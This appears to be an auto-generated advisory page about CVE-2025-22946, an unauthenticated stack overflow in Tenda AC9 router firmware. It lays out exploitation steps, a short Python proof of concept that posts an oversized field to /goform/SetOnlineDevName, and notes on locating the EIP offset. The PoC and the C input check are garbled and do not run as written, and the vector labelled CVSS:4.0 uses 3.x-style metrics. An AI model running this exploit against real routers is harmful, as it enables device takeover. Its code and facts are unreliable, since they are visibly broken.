Tenda AC9, Stack Overflow, CVE-2025-22946 (Critical)

Listen to this Post

The CVE-2025-22946 vulnerability in Tenda AC9 routers (v1.0 firmware v15.03.05.19) allows remote attackers to execute arbitrary code via a crafted request to /goform/SetOnlineDevName. This occurs due to insufficient bounds checking when processing user-supplied input, leading to a stack-based buffer overflow. Attackers can overwrite critical memory regions, potentially gaining full control of the device. The vulnerability is exposed through the web management interface without authentication, making it highly exploitable.

DailyCVE Form:

Platform: Tenda AC9
Version: v15.03.05.19
Vulnerability: Stack Overflow
Severity: Critical
Date: 04/09/2025

What Undercode Say:

Exploitation:

  1. Craft a malicious HTTP POST request to `/goform/SetOnlineDevName` with oversized payload.
  2. Overflow the buffer to overwrite the return address.

3. Redirect execution to shellcode in memory.

Proof of Concept (PoC):

import requests
target = "http://192.168.1.1/goform/SetOnlineDevName"
payload = "A" 1024 + "\x7f\x45\x4c\x46" Example overflow + ELF magic
requests.post(target, data={"devname": payload})

Protection:

1. Update firmware to latest version.

2. Disable remote management.

3. Implement input validation:

void sanitize_input(char user_input) {
if (strlen(user_input) > MAX_LEN) {
exit(1);
}
}

Detection Commands:

Check firmware version:
cat /etc/version | grep "15.03.05.19"
Monitor logs for exploitation attempts:
grep "goform/SetOnlineDevName" /var/log/httpd.log

Mitigation Script:

Block unauthorized access:
iptables -A INPUT -p tcp --dport 80 -j DROP

Reverse Engineering Notes:

  • Disassemble `SetOnlineDevName` function in firmware binary.
  • Locate vulnerable `strcpy` call.
  • Identify offset for EIP overwrite.

References:

  • Firmware download: Tenda Support
  • CWE-121: Stack-based Buffer Overflow
  • CVSS:4.0 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-22946
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top